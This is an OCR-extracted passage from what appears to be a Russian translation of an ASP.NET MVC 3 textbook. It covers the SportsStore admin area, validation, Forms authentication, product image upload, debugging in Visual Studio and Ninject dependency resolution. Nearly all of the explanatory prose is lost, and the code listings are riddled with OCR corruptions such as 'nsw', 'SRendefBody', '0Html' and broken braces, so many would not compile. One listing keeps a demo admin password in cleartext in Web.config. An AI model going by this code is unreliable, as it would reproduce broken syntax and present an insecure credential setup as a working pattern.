ActionResult result = target.Edit(product);
// - ,
mock.Verify(m => m.SaveProduct(I t .IsAny<Product> ()), T i m e s .N e v e r ());
// -
A s s e r t .IsInstanceOfType(result, typeof(ViewResult));
}___________________________________________________________

9. SportsStore:

241


, T e m p D a t a ,
A d m i n L a y o u t . c s h t m l .
, ,
Razor. ,
_ A d m i n L a y o u t . c s h t m l , 9.15.
9 .1 5 . V ie w B a g
< ! DOCTYPE html>
<html>
<head>
<title>@ViewBag.Titie</titie>

d i n k href="@Url.Content("~/Content/Admin.css")" rel="stylesheet" type="text/css" />


</head>

<body>
<div>

@if (TempData["message"] != null) {


<div class="Message">0TempData["message"]</div>

}
SRendefBody()
</div>
</body>
< /html>

. ,
, .
, -
, - (
).

,
. , URL A d m i n / I n d e x
. Save ().
T e m p D a t a , . 9.12.

. 9 .1 2 . TempData

242

I. ASP.NET MVC 3

,
TempData . , ..
.


,
.
, SportsStore
. 9.16 Product
, ShippingDetails
.

9.16. P r o d u c t
using System.ComponentModel.DataAnnotations;
using System.Web.Mvc;
namespace SportsStore.Domain.Entities {
public class Product {
[Hiddenlnput(DisplayValue=false)]
public int ProductID { get; set; }
[Required(ErrorMessage = "Please enter a product name")]
//
public string Name { get; set; }
[Required(ErrorMessage = "Please enter a description")]
/ /
[DataType(DataType.MultilineText)]
public string Description ( get; set; }
[Required]
[Range(0.01, double.MaxValue, ErrorMessage = "Please enter a positive price")]
//
public decimal Price ( get; set; }
[Required(ErrorMessage = "Please specify a category")]
//
public string Category { get; set; }
}

! Product , , .
, .
MVC Framework, . ,
, 16.

H tm l.E ditorF orM odel


Produ ct MVC Framework
CSS,
. . 9.13 , ,
,
, 9.16.

9. SportsStore:

243

. 9 .1 3 .


,
.
.
,
JavaScript.
MVC Framework
, .
, ,
JavaScript.
_AdminLayout.cshtml,
, .
9.17.
, MVC JavaScript jQuery.

9.17. JavaScript-

<!DOCTYPE html>
<htnl>
<head>
<title>@ViewBag.Title</title>
Clink href="@Url.C o n t e n t ("~/Content/Admin.css")" rel="stylesheet"
type="text/css" />
<script src="@Url.Content ("'/Scripts/jquery-1.4.4.min.j s")"
type="text/javascript " X / script >
<script src="@Url.Content("/Scripts/jquery.validate.min.js")"
type="text/javascript"X/script>

244

I. ASP.NET MVC 3

<script src="0Url.Content("-/Scripts/jquery.validate.unobtrusive.min.js")
type=" text/javascript " X / scrip t>
</head>
<body>
<div>
@if (TempData["message"] != null) {
<div class="Message">0TempData["message"]</div>

}
SRenderBody()
</div>
</body>
</html>

,
.
, CSS,
, ,
.

, ,
:
HtmlHelper.ClientValidationEnabled = false;
HtmlHelper.UnobtrusiveJavaScriptEnabled = false;

,
.
,
Application_Start Global.asax
Web.config:
<configuration>
<appSettings>
<add key="ClientValidationEnabled" value="false"/>
<add key="UnobtrusiveJavaScriptEnabled" value="false"/>
</appSettings>
</configuration>


Create, Add a new
product ( ) .
.

.
MVC. AdminController Create,
9.18.

9.18. C r e a t e
A d m in C o n t r o lle r
public ViewResult C r e a t e () {
return View("Edit", new P roduct());

9. SportsStore:

245

Create .
, Edit.
, ,
. Product
, Edit .
. ,
,
Html.B e g i n F o r m HTML-, .
Create, .. ,
Edit,
.
Html.BeginForm, ,
, Edit,
Edit Admin (. 9.19).

9.19.
0model SportsStore.Domain.Entities.Product
@{

ViewBag'Title = "Admin: Edit " + @Model.Name;


Layout = "~/Views/Shared/ AdminLayout.cshtml";

}
<hl>Edit SModel.Name</hl>
@using (Html.BeginForm("Edit" , "Admin")) {
@Html.EditorForModel()
<input type="submit" value="Save" />
@Html.A ctionLink("Cancel and return to List", "Index")
}

Edit,
, .
Add a new product ,
. 9.14.

. 9 .1 4 .

246

I. ASP.NET MVC 3



. IProductRepository ,
9.20.

9.20.
using System.Linq;
using SportsStore.Domain.Entities;
namespace SportsStore.Domain.Abstract {
public interface IProductRepository {
IQueryable<Product> Products { get; }
void SaveProduct(Product product);
void DeleteProduct(Product product);
)

}
Entity Framework
E F Produ ctR ep ository (. 9.21).
9.21. Entity Framework

public void DeleteProduct(Product product)


context.Products.Remove(product);
context.SaveChanges();

Delete
Admin. POST,
. 11,
- GET
. ,
GET. 9.22.

9.22. D e le t e
[HttpPost]
public ActionResult Delete(int productld) {
Product prod =
repository.Products.FirstOrDefault(p => p.ProductID == productld);
if (prod != null) (
repository.DeleteProduct(prod);
TempDataf"message"] = string.Format("{0} was deleted", prod.Name);
}
return RedirectToAction("Index");
}

9. SportsStore:

247

:
Delete.
, ProductID
DeleteProduct
Product, . .
[TestMethod]
public void Can_Delete_Valid_Products() (
// Product
Product prod = new Product { ProductID = 2, Name = "Test" };
// -

Mock<IProductRepository> mock = new Mock<IProductRepository> ();


mock.Setupfm => m.Products).Returns(new Product[] {
new Product {ProductID = 1, Name = "PI"),
prod,
new Product {ProductID = 3, Name = "P3"},
}.AsQueryable ());
// -

AdminController target = nsw AdminController(mock.Object);


//
target.Delete(prod.ProductID);
// ,
// Product
m o c k .Verify(m => m.DeleteProduct(prod));
}
, ,
Delete, , DeleteProduct
. .
[TestMethod]
public void Cannot_Delete_Invalid_Products() {
// -
Mock<IProductRepository> mock = new Mock<IProductRepository>();
mock.Setup(m => m.Products).Returns(new Product[] {
new Product {ProductID = 1, Name = "PI"},
new Product {ProductID = 2, Name = "P2"),
new Product {ProductID = 3, Name = "P3"},
}.AsQueryable ()) ;
// -
AdminController target = new AdminController(mock.Object );

II
target.Delete (100);
// ,
// Product
m o c k .Verify(m => m. DeleteProduct(It.IsAny<Product> ()), Tim e s .Never ());
}
,
Delete () (. 9.15).
, Tem pD ata
.

248

I. ASP.NET MVC 3

. 9.15.
CRUD . ,
, .


,
. , ,
URL Admin/Index. ,
,
Admin.


ASP.NET MVC ASP.NEt
ASP.NET (ASP.NET Forms
Authentication),
.
22. ,
.
W eb.config, a u th e n tic a tio n
:
< a u t h e n t ic a t i o n m ode="Form s">
<forms

io g in U rl= "~ /A c co u nt/L o gO n "

timeout="2880"/>

< /a u th en tic a tio n

,
MVC, Empty () Internet Application
(-). lo g in U r l ASP.NET, URL
; /Account/Logan.
tim e o u t ,
. 48
(2880 ). 22.

9. SportsStore:

249

!
Windows,
. ,
Windows.
Windows -.

SportsStore Internet Application,


Visual Studio AccountController
LogOn. ASP.NET
, 22.
,
. .
,
SportsStore. 9.23
, authentication
Web.config.

9.23,
<authentication mode="Forms">
<forms loginUrl="~/Account/LogOn" timeout="2880">
<credentials passwordFormat="Clear">
<user name="admin" password="secret" />
</credentials>
</forms>
</authentication>

(admin)
(secret) Web.config. -,
, ,
22.
MVC ,
.


MVC Framework , .
.NET,
.
. ; ,
( 13).
Authorize.
AdminController, 9.24.

9.24. A u t h o r iz e
using
using
using
using

System.Web.Mvc;
SportsStore.Domain.Abstract;
SportsStore.Domain.Entities;
System.Linq;

250

I. ASP.NET MVC 3

namespace SportsStore.WebUI.Controllers {

[A u th o rize ]
public class AdminController : Controller (
private IProductRepository repository;
public AdminController(IProductRepository repo)
repository = repo;

, A u th o rize
, . ,

. SportsStore ,

. 13 22 ,
A u th o r iz e (
) (
).

! .

. 9.24 A u th o riz e ,
Admin
.

, A u th o riz e ,
URL /Admin/Index. ,
. 9.16.
ThelControIlerFactory 'SportsStore.WebUI.Infrs5tructure.NinjectControilerFacory' did not return cont...
*

1 http://localhosfc43190/Acccunt/LogOn?RetumUrf= %2fAdmin%2fInde<

Se rver Error in ' / ' Application.


....................................................................................................

*|-

The IControllerFactory
'SportsStore. WebUI. Infrastructure. NinjectControllerFactory'
did not return a controller for the name 'Account'.
D e s c r i p t i o n : A r unhandled exception occu rred during the execution o f tne current w e b requ est P lea se re v ie w

the stack trace tor more information about me error and where it ongnated n the code
E x c e p t i o n D e t a i l s : System InvakdO peratjofiExcepton: Tha IControllerFactcry
SportsStore W eb U I Infras*ructure.N-njectControHerf actory did not return a controller for the narre Account*

....... ............. .... ...... ..............j_______________________________ l _


. 9.16. A u th o rize
In dex Admin,
MVC Framework A u th orize.
, URL,
W eb.config: Account/LogOn. Account
, ,
.

9. SportsStore:

251



S y s t e m .W e b .S e c u r it y .F o r m s A u t h e n t ic a t io n :
A u t h e n t i c a t e ,
;
S e t A u t h C o o k ie cookie-Ha6op ,
,
, .

. , Moq,
. , F o r m s A u t h e n t ic a t io n

MVC.
.
,
MVC
.
.
A b s t r a c t I n f r a s t r u c t u r e S p o r t s S t o r e .
WebUI IA u t h P r o v id e r .
9.25.

9.25. IA u t h P r o v id e r
n a m e s p a c e S p o r t s S t o r e .W e b U I .I n f r a s t r u c t u r e . A b s t r a c t {
public interface IAuthProvider {
bool A u t h e n t i c a t e ( s t r i n g username, s t r i n g p a ss wo r d) ;
}

,
F orm sA u th en tication .
In fr a s t r u c t u r e C on crete
Form sAuthProvider. 9.26.

9.26. F o rm s A u th P ro v id e r
using System.Web. S e c u r it y ;
using S portsS tore.W eb U I. In fr e s t r u c t u r e .A b s t r a c t ;
namespace S p o r ts S to re .WebUI. In fr e s t r u c t u r e . Concrete {
p u b lic c la s s Form sAuthProvider : IA u th P ro vid er {
p u b lic b o o l A u th e n t ic a te (s t r in g username, s t r in g password) {
b o ol r e s u lt = F orm sA u th en tication .A u th en ticate(u sern am e, passw ord);
i f (r e s u lt ) {
Form sA u th en tication . SetAuthCookie(username, f a l s e ) ;

}
retu rn r e s u lt ;
)

}
)

252

!. ASP.NET MVC 3

Authenticate ,
.
FormsAuthProvider AddBindings NinjectControllerFactory,
9.27 ( ).

9.27. Ninject
private void AddBindings() {
//
ninjectKernel.Bind<IProductRepository>().To<EFProductRepository>();
//
EmailSettings emailSettings = new EmailSettings {
WriteAsFile
= boo l .Parse(ConfigurationManager.AppSettings["Email.WriteAsFile"] ?? "false")

};
ninjectKernel.Bind<IOrderProcessor>()
,To<EmailOrderProcessor> ().WithConstructorArgument("settings", emailSettings) ;
ninjectKernel.Bind<IAuthProvider>().To<FormsAuthProvider>();

A ccount

A c c o u n t
LogOn. LogOn.
, ,
POST, .
,
. Models SportsStore.
WebUI LogOnViewModel ,
9.28.

9.28. LogO n V iew M od el


using System.ComponentModel.DataAnnotations;
namespace SportsStore.W e b U I .Models {
public class LogOnViewModel {
[Required]
public string UserName ( get; set; }
[Required]
[DataType(DataType.Password)]
public string Password { get; set; }

}
}
,
, .
DataType MVC Framework ,
Password.
, , * , ViewBag.
;

9. SportsStore:

253

,
.
.
AccountController,
9.29.

9.29. A c c o u n t C o n t r o lle r
using System.Web.Mvc;
using SportsStore.WebUI.Infrastructure.Abstract;
using SportsStore.WebUI.Models;
namespace SportsStore.W e b U I .Controllers {
public class AccountController : Controller {
IAuthProvider authProvider;
public AccountController(IAuthProvider auth)
authProvider = auth;

}
public ViewResult LogOn () {
return V i e w ();

}
[HttpPost]
public ActionResult LogOn(LogOnViewModel model, string returnUrl) {
if (ModelState.IsValid) {
if (authProvider.Authenticate(model.UserName, m o d e l .Password)) {
return Redirect(returnUrl ?? Url.Action("Index", "Admin"));
} else {
//
ModelState.AddModelError ("", "Incorrect username or password");
return V i e w ();

)
} else {
return View ();

}
}
)



Account Add View (
). LogOn,
LogOnViewModel (. 9.17).
Use a layout or master page ( -)
_AdminLayout. cshtml.
Add (), ,
, 9.30.

9.30. LogOn
3rrodel SportsStore.W e b U I .Mod e l s .LogOnViewModel

?{
ViewBag.Title = "Admin: Log In";
Layout = "~/Views/Shared/_AdminLayout.cshtml";

254

I. ASP.NET MVC 3

<hl>Log In</hl>
<p>P l e a s e log in to access the a dministrative area:</p>
S u s i n g ( H t m l .B e g i n F o r m ()) {
0 H t m l .V a l i d a tionSummary(true)
0 H t m l .E d i t o r F o r M o d e l ()
< p x i n p u t type=" s u b m i t " v a l u e = " L o g in" /></p>

. 9.17. L o g O n

. 9.18.

. 9 .1 8 . LogOn

9. SportsStore:

255

DataType , MVC Framework


Password HTML- ,
. Required,
,
( JavaScript- ).
,
, FormsAuthentication.Authenticate
.
! .

.
,
,
, , ,
. .


ModelStatfe .
,
Html.ValidationSummary .
! 9.30 Html.Validation
Summary bool, true.
. ,
,
.

:
Acc o u n t :
, ,
, .
IAuthProvider
LogOn , .
[TestMethod]
public void Can_Login_With_Valid_Credentials() {
//
Mock<IAuthProvider> mock = new Mock<IAuthProvider> ();
mock.Setup(m => m.Authenticate("admin", "secret")).Returns(true);
//
LogOnViewModel model = new LogOnViewModel {
UserName = "admin",
Password = "secret"

};
// -
AccountController target = new AccountController(mock.Object);
//
ActionResult result = target.LogOn(model, "/URL");

256

!. ASP.NET MVC 3

//
Asse r t .IsInstanceOfType(result, typeof(RedirectResult));
Assert.AreEqual("/MyURL", ((RedirectResult)result) .Url);

}
[TestMethod]
public void Cannot_Login_With_Invalid_Credentials () {
// -
Mock<IAuthProvider> mock = new Mock<IAuthProvider>();
mock.Setup(m => m.Authenticate("badUser", "badPass")).Returns(false);
// -
LogOnViewModel model = new LogOnViewModel {
UserName = "badUser",
Password = "badPass"

};
// -
AccountController target = new AccountController(mock.Object);
// -
AcftionResult result = target.LogOn (model, "/MyURL");
//
Asse r t .IsInstanceOfType(result, typeof(ViewResult));
Asse r t .IsFalse(((ViewResult)result).ViewData.ModelState.IsValid);

SportsStore.
,
-,
.
13 22.
. , , SSL (Secure
Sockets Layer ),
- ( ,
22) .
SSL - IIS.


SportsStore
.
, .


Server Explorer ( ) Visual Studio
Products , 7.
Open Table Definition (
). , . 9.19.

9. SportsStore:

257

. 9.19. Products
Save Products ( Products) File ()
<Ctrl+S>, .


Product SportsStore.Domain ,
, .
9.31 .

9.31. P r o d u c t
using System.ComponentModel.DataAnnotations;
using System.Web.Mvc;
namespace SportsStore.Domain.Entities {
public class Product {
[Hiddenlnput(DisplayValue=false)]
public int ProductID { get; set; }
[Required(ErrorMessage = "Please enter a product name")]
//
public string Name ( get; set; )
[Required(ErrorMessage = "Please enter a description")]
//
[DataType(DataType.MultilineText)]
public string Description ( get; set; )
[Required]
[Range(0.01, double.MaxValue, ErrorMessage = "Please enter a positive price")]
//
public decimal Price { get; set; }
[Required(ErrorMessage = "Please specify a category")]
//
public string Category { get; set; }
public byte ImageData { get; set; }
[Hiddenlnput(DisplayValue = false)]
public string ImageMimeType { get; set; )

i
}

9 . 4039

258

I. ASP.NET MVC 3

, , MVC Framework
. I m a g e M i m e T y p e
H i d d e n I n p u t . I m a g e D a t a ,
.
, i n t , s t r i n g , D a t e T i m e ..
, ,
.

Product,

Entity Framework
P r o d u c t
. Entity Framework,
.
. S p o r t s S t o r e . e d m x C o n c r e t e / O R M S p o r t s S t o r e .
D o m a i n . P r o d u c t ,
Entity Framework ( . 9.20).

. 9.20.
,
Product, U p d a te M o d e l fro m D a ta b a se (
). ,
. ,
F inish (). E n tity Framework
, . ,
ImageData ImageMimeType Product,
. 9.20.


.
,
. Views/Admin/
E d it.c s h tm l , 9.32 (
).

9. SportsStore:

259

9.32.
0model SportsStore.Domain.Entities.Product
@{

ViewBag.Title = "Admin: Edit " + SModel.Name;


Layout = "~/Views/Shared/__AdminLayout.cshtml";

}
<hl>Edit 0Model.Name</hl>
Susing (Html.B eginForm("Edit", "Admin",
FormMethod.Post, new { enctype = "multipart/form-data" })) {
0Html.EditorForModel()
<div class="editor-label">Image</div>
<div class="editor-field">
0if (Model.ImageData == null) {
0:None
} else {
<img width="150" height="150"
src="0Url.Action("Getlmage", "Product", new { M o d e l .ProductID })" />

)
<div>Upload new image: <input type="file" name="Image" / X / d i v >
</div>
<input type="submit" value="Save" />
0Html.ActionLink("Cancel and return to List", "Index")

}
- , HTML- form
e n cty p e m u ltip a rt/ fo rm -d a ta . ,
form :
<form action="/Admin/Edit" enctype="multipart/form-data" method="post">
</form>

enctype ,
, .
enctype,
Html.BeginForm, HTML:
0using (Html.BeginForm("Edit", "Admin",
FormMethod.Post, new { enctype = "multipart/form-data" ))) {

, Product
null ImageData, img
Getlmage Product.
.


POST Edit AdminController,
.
9.33.

260

I. ASP.NET MVC 3

9.33. A d m in C o n t r o lle r
[HttpPost]
public ActionResult Edit(Product product, HttpPostedFileBase image) (
if (ModelState.IsValid) (
if (image != null) {
prod u c t .ImageMimeType = i ma g e .ContentType;
prod u c t .ImageData = new byte[image.ContentLength];
im a g e .InputStream.Read(product.ImageData, 0, ima g e .ContentLength);

}
//
repository.SaveProduct(product);
// TempData
TempData["message"] = string.Format("{0} has been saved", product.Name);
//
return RedirectToAction("Index");
} else {
// -
return View(product);
)

}
Edit , M V C Framework
.
null, null, M IM E
Product, .

! 9.33
. , n u l l , .

G etlm ag e
9.32 img,
Getlmage. ,
, . 9.3 4 ,
ProductController.

9.34. G e tlm a g e
public FileContentResult Getlmage(int productld) {
Product prod =
repository.Products.FirstOrDefault(p => p.ProductID == productld);
if (prod != null) {
return File(prod.ImageData, p r o d .ImageMimeType) ;
) else {
return null;
}
)
, .
FileContentResult ,
, File

9. SportsStore:

261

. ,
, 12.

:
, Getlmage MIME
, ,
. .
[TestMethod]
public void Can_Retrieve_Image_Data() {
// Product
Product prod = new Product {
ProductID = 2,
Name = "Test",
ImageData = new byte[] {},
ImageMimeType = "image/png" };
// -
Mock<IProductRepository> mock = new Mock<IProductRepository>();
mock.Setup(m => m.Products).Returns(new Product[] {
new Product {ProductID = 1, Name = "PI"),
prod,
new Product {ProductID = 3, Name = "P3"}
}.AsQueryable() ) ;
// -
ProductController target = new ProductController(mock.Object) ;
// Getlmage
ActionResult result = target.Getlmage(2);
//
Asse r t .IsNotNull(result);
Asse r t .IsInstanceOfType(result, typeof(FileResult));
Assert.AreEqual(prod.ImageMimeType, ((FileResult)result).ContentType);

}
[TestMethod]
public void Cannot_Retrieve Image_Data_For__Invalid_ID() {
// -
Mock<IProductRepository> mock = new Mock<IProductRepository> ();
mock.Setup(m => m.Products).Returns(new Product[] {
new Product {ProductID = 1, Name = "PI"},
new Product {ProductID = 2, Name = "P2"}
} .AsQueryable());
// -
ProductController target = new ProductController(mock.Object);
// - Getlmage
ActionResult result = target.Getlmage (100) ;
//
Ass e r t .IsNull (result);

}
,
FileResult .
FileResult ,
.
, null.

262

I. ASP.NET MVC 3

.
, . . 9.21 .

. 9 .2 1 .


.
Views/Shared/ProductSummary.cshtml,
, 9.35.

9.35.
@model SportsStore.Domain.Entities.Product
<div class="item">
gif (Model.ImageData != null) {
<div style="float:left/margin-right:20px">
<img width="75" height="75" src="0Url.Action("Getlmage", "Product",
new { M o d e l .ProductID })" />
</div>

}
<h3>@Model.Name</h3>
0Model.Description
<div class="item">
Susing(Html.BeginForm("AddToCart", "Cart")) {
@ Ht m l .HiddenFor(x => x.ProductID)
@Html.Hidden(returnUrl, Request.U r l .PathAndQuery)
<input type=submit>> value=+ Add to cart />

}
</div>
<h4>@Model.P r i c e .ToString()</h4>
</div>

9. SportsStore:

263


, (. 9.22).

. 9.22.

ASP.NET
MVC Framework .
:
, , , , ,
, , , ..
, ,
MVC, Entity Framework, Ninject, Moq Visual Studio
.
,
,
.
MVC Framework,
.

II


ASP.NET V 3


ASP.NET MVC Framework,
. MVC Framework,
.

. II .

ASP.NET MVC
.
, ( 11),
( 12-14), MVC ( 15 16) MVC
( 17 18).
, MVC AJAX (
19) jQuery ( 20).

10

MVC Framework,
.
A S P . N E T M V C ,
, .

MVC Visual Studio


MVC 3, Visual Studio
: Empty (), internet Application (-)
Intranet Application (-), . 10.1.

. 10.1. MVC 3
Empty RSVP 3
SportsStore 7. ^
, ,
.

10. MVC

267

! New ASP.NET MVC 3 P roject ( ASP.NET MVC 3),


. 10.1, Use HTML5 sem antic m arkup (
HTML5). Microsoft HTML5 Visual Studio.
HTML5. MVC Framework
HTML, . HTML5
. HTML5,
The Definitive Guide to HTML5 (Apress).

Intern et A pp lication Intranet A pp lication ,


,
, - - (
22).

. Internet Application Intranet Application


Visual Studio,
Create a unit te s t p ro je ct ( ). ,
, 7.

. 10.2,
.

. 10.2. MVC,
Empty, Internet A pp lication Intranet A pplication

268

II. ASP.NET MVC 3

, .
, ASP.NET MVC
Framework. .
. 10.1.

10.1. MVC 3

/_


, XML-
, SQL Server
Express, SQLite -

- (IS

/bin


MVC-
,
GAC

- IIS

.
bin
S olution E xplorer (
),
Show All
Files ( ).


,

,

/Content

,
CSS-

/Controllers

.

,

/Models



,


,
SportsStore

/Scripts


JavaScript- .
Visual Studio

jQuery Microsoft AJAX

.

,
..

10. MVC

269

. 10.1

/Views


,

,

,
-

, d
,

ASP.NET
- IIS

/ V i e w s / W e b .config

- IIS
.



ASP.NET.
(Global.a s a x .cs)
,
,


MVC-
G l o b a l .asax
,
Web Forms

MVC-
W e b .config
,
Web Forms

/Views/Shared

/Views/Web.config

/ G l o b a l .asax

/ W e b .config

! 23, MVC
-. IIS ,
Web.config, bin, App_code, A p p _GlobalResources,
App_LocalResources, App_WebReferences, App_Data App_Browsers. -
IIS .asax, .ascx, .sitemap,
.resx, .mdb, .mdf, .Idf, .csproj .
, ,
URL-.

. 10.2 ,
MVC 3.

10.2. MVC 3

/Areas


. 11

/App_GlobalResources
/App_LocalResources

, Web Forms

/App_Browsers

XML- .browser, ,
-,
(, JavaScript)

/App_Themes

Web Forms ( . skin),


Web Forms

270

II. ASP.NET 3

! /Areas, . 10.2
ASP.NET MVC.
ASP.NET Microsoft ASP.NET 4.0 C# 2010
( , 2011 ,).

- -
. 10.2 , Internet Application Intranet Application
, ,
. , ,
Intranet Application.
H o m e C o n t r o l l e r ( Internet Application
Intranet Application) About.
, CSS-
.
Internet Application A c c o u n t C o n t r o l l e r ,
" .

ASP.NET ( 22)
.
SQL Server Express /App_Data -
. SQL Server Express
,
. A ccountC o n t r o l l e r ,
. (
Intranet Application A c c o u n t C o n t r o l l e r ,
, Windows/
Active Directory.)

, Empty,
, .

MVC
MVC .
,
. , JavaScript Scripts.
, MVC. Visual
Studio JavaScript MVC.
Scripts ,
. MVC Framework
.

(convention over configuration), ,
Ruby on Rails. ,

.
.
. ,
.

10. MVC

271

. 15,
.


, C o n t r o l l e r ,
, P r o d u c t C o n t r o l l e r , A d m i n C o n t r o l l e r B o m e C o n t r o l l e r .
MVC HTML
( P r o d u c t ) , D e f a u l t C o n t r o l l e r F a c t o r y
C o n t r o l l e r
. ,
I C o n t r o l l e r F a c t o r y , 14.



/ V i evis/_. , ,
ProductController, /Views/Product.

! , Controller Views
, .. /Views/Product, /Views/ProductController.
, .

MVC Framework ,
. , ,
List, Li st.cshtml ( List.aspx,
ASPX). ,
, List Pr o d u c t C o n t r o l l e r
/ V i e w s / P r o d u c t / L i s t .cshtml.

View , :
return V i e w ();

, :
return V i e w ("MyOtherView");

,
. MVC Framework ,
(Razor ASPX
).
MVC Framework ,
, /Views / S h a r e d . , ,
, / V i e w s / S h a r e d
.



( 9,
WebMatrix, Razor),
/Views/Shared. Visual Studio
L a y o u t .cshtml .
, / V i e w s / _ V i e w S t a r t .cshtml,
5.

272

II. ASP.NET 3

,
_ V i e w S t a r t . c s h t m l ( ),
, :
@{

Layout = "-/Views/Shared/MyLayout.cshtml";
}

:
<2 <
Layout = null;
)

MVC
ASP.NET MVC ,
ASP.NET Web Forms. Visual Studio
, .
. , , ft, .


MVC 3
Intern et A pp lication .
. DebuggingDem o
Create a unit te s t p ro je ct ( ),
. 10.3.

. 1 0 .3 . DebuggingDem o

10. MVC

273

Visual Studio
MVC,
Visual Studio. C# (
) .
. 10.4; Debug ()
.

. 10.4.

<F5>.
Start Debugging ( ) Debug ()
Visual Studio.
, . 10.5.

. 10 .5. MVC

M odify the W eb.config file to enable debussing (


W e b . c o n f i g , ), c o m p i l a t i o n
, d e b u g t r u e ,
10.1. .

10.1. W eb. c o n f ig
<configuration>
<system.web>
C o m p i l a t i o n debug="true" targetFramework="4.0">
</compilation>
</system.web>
</configuration>

! He ,

. 23
.

274

II. ASP.NET 3

.
, .
(
). , Stop Debugging (
) Debug Visual Studio.

Visual Studio
, ,
, , , .
.
: .
.

. , Break All ( )

Debug Visual Studio .


(breakpoint) ,
.
,
.
Index H o m eController , 10.2.

1 0 .2 . H o m e C o n t r o l l e r
using System.Web.Mvc;
namespace DebuggingDemo.Controllers {
public class HomeController : Controller {
public
int
int
int

ActionResult Index () {
firstVal = 10;
secondVal = 5;
result = firstVal / secondVal;

ViewBag.Message = "Welcome to ASP.NET MVC!";


return V i e w ( r e s u l t ) ;

)
public ActionResult About () {
return V i e w ();
)
)

.
.
,
V i e w B a g .Message. ,
B re a k p o in ts In se rt B reakpoint
( ^ ).
, . 10.6.

10. MVC

275

. 10 .6.

( Start Debugging
DeOugJ
, (. 10.7).

. 10.7.
! ,

.
, ,
URL . ,
URL, .
, ,
URL .

,
. , ,
, .
10 8 ,
Index: Locals ()
.
.
, , ,
. Step Into (
), Step Over ( ) Step Out ( ) Debug.
,
Breakpoint^ Delete Breakpoint ( ^
). , Delete All
Breakpoints ( ) Debug.

276

II. ASP.NET MVC 3

. 10.8.

. Razor.
, ,
. ,
: Razor
B re a k p o in t^ ln s e rt B reakpoint ( ^ ).

-
.

.
Visual Studio ,
.

! .
, t r y . . . c a t c h .
.
,
.
, .. , (
).


I n d e x , 10.3.

10.3. ,
using System.Web.Mvc;
namespace DebuggingDemo.Controllers {
public class HomeController : Controller {
public

ActionResult

I n d e x ()

ViewBag.Message = "Welcome to ASP.NET MVC!";


int firstVal = 10;
int secondVal = 0;
int result = firstVal / secondVal;
return View(result);

}
public ActionResult A b o u t () {
return V i e w ();
}

}
}

10. MVC

277

secon dV al 0,
, f i r s t V a l secon dV al.
. , . 1 0 .9 .

. 10.9.

,
. ,
, /
.

Edit and Continue


Visual Studio Edit and
Continue ( ). ,
. Visual Studio
.

Edit and Continue


Edit and C ontinue .
Edit and C ontinue ( ) Debugging
() O ptions () ( O ptions
Tools () Visual Studio) , Enable Edit and
Continue ( Edit and Continue) , . 10.10.

. 1 0 .1 0 . Edit and Continue Options

278

II. ASP.NET MVC 3

( <projectname> Properties ( <


:) Project () Visual Studio) Web
() , Enable Edit and Continue ,
. 10.11.

. 10.11. Edit and Continue

BtiGGGtinc
Edit and Continue . ,
. I n d e x
H o m e C o n t r o l l e r : . ,
V i e w B a g .
V i e w D a t a , ( )
10.4.

10.4. V iew B ag In d e x
public ActionResult I n d e x () {
int firstVal = 10;
int secondVal = 0;
int result = firstVal / secondVal;
ViewD a t a ["Message"] = "Welcome to ASP.NET MVC!";
return View(result);
}

I n d e x , c s h t m l
(. 10.5).

10.5. V iew B ag
@model int
ViewBag.Title = "Home Page";
}
<h2>0ViewData["Message"] </h2>
<p>
The calculation result value is: SModel
</p>

10. MVC

279


, I n d e x .

Edit and Continue


Edit and Continue.
Start Debugging Debug.
, I n d e x ,
. 0,
.
(. . 10.9).
Enable editing ( )
, , 10.6.

10..
public ActionResult Index () {
int firstVal = 1,0;
int secondVal = 0;
int result = firstVal / 5;
ViewData["Message" ] = "Welcome to ASP.NET MVC!";
retu2 View (result^

Continue () Debug.
, , . 10.12.

. 10.12. Edit and Continue


, .
.
. ,
, 5.
.
Visual Studio ,
, , ,
, .
, .
Edit and Continue ,
, .
,
. .
,
,
.

280

II. ASP.NET 3


Visual Studio .
T estO D ebug ().
, . ,

, .
.
, ,
, .
.
. A s s e r t ,
, ,
. ,
, , , ,
, .


,
MVC Framework ;
^ , . ,
.
MVC Framework
SportsStore. D e f a u l t C o n t r o l l e r F a c t o r y
NinjectControllerFactory,
Ninject (Dependency
Injection DiJ.
Framework MVC, DI ,
Ninject.
.
MVC Framework ,
System. Web. Mvc. DependencyResolver.
DI MVC, I D e p e n d e n c y R e s o l v e r
DependencyResolver.
, ,
, Ninject .
DI SportsStore,
DI . 10.7 ,
IDependencyResolver .

10.7. Ninject- ID e p e n d e n c y R e s o lv e r
using
using
using
using
using
using
using
using
using

System;
System.Collections.Generic;
System.Web.Mvc;
Ninject;
Ninject.Parameters;
N inject.Syntax;
SportsStore.Domain.Abstract;
SportsStore.Domain.Concrete;
SportsStore.W e b U I .Infrastructure.Abstract;

10. MVC

281

using SportsStore.W e b U I .Infrastructure.Concrete;


using System.Configuration;
namespace SportsStore.WebUI.Infrastructure I
public class NinjectDependencyResolver : IDependencyResolver {
private IKernel kernel;
public NinjectDependencyResolver() {
kernel = new StandardKernel();
AddBindings () ;

f
public object GetService(Type serviceType)
return kernel.TryGet(serviceType);

}
public IEnumerable<object> GetServices(Type serviceType)
return kernel.GetAll(serviceType);

}
public IBindingToSyntax<T> Bind<T>()
return kernel,Bind<T> ();

/
public IKernel Kernel {
get ( return kernel; }
)
private void AddBindings() {
//
Bind<IProductRepository>().To<EFProductRepository>();
Bir.d<i^ubhPir(7vicier^ () .ToCFormsflutiiFrovider;' ;
//
EmailSettings emailSettings = new EmailSettings (
WriteAsFile = b o o l .Par s e (
ConfigurationManager.AppSettingst"Email.WriteAsFile"] ?? "false")

};
Bind<IOrderProcessor>()
.To<EmailOrderProcessor>()
.WithConstructorArgument("settings", emailSettings);
)

, . MVC Framework,
, Ninject,
. Bind,
. ,
AddBindings, ,
NinjectCont r o l l e r F a c t o r y 7.
N i n j e c t C o n t r o l l e r F a c t o r y
N i n j e c t D e p e n d e n c y R e s o l v e r A p p l i c a t i o n _ S t a r t
G l o b a l .asax, 10.8.

282

II. ASP.NET MVC 3

10.8. ID e p e n d e n c y R e s o lv e r
protected void Application

Start

A r e a R e j i s t n a t i o n . f l e g i 31e r A l

lA re a s

(/

R egisterG lobalF ilters (G lo b a lF ilt e r s .F ilte r s );


R e g i s t e r R o u t e s (R o u t e T a b l e . R o u t e s ) ;
D ependencyResolver. SetResolver(new N in jectD ep en den cy R eso lv e r( ) ) ;
M o d e l B i n d e r s . B i n d e r s . A d d (t y p e o f ( C a r t ) ,

new C a r t M o d e l B i n d e r () ) ;

}
, Ninject MVC. n MVC Framework,
, DI - .

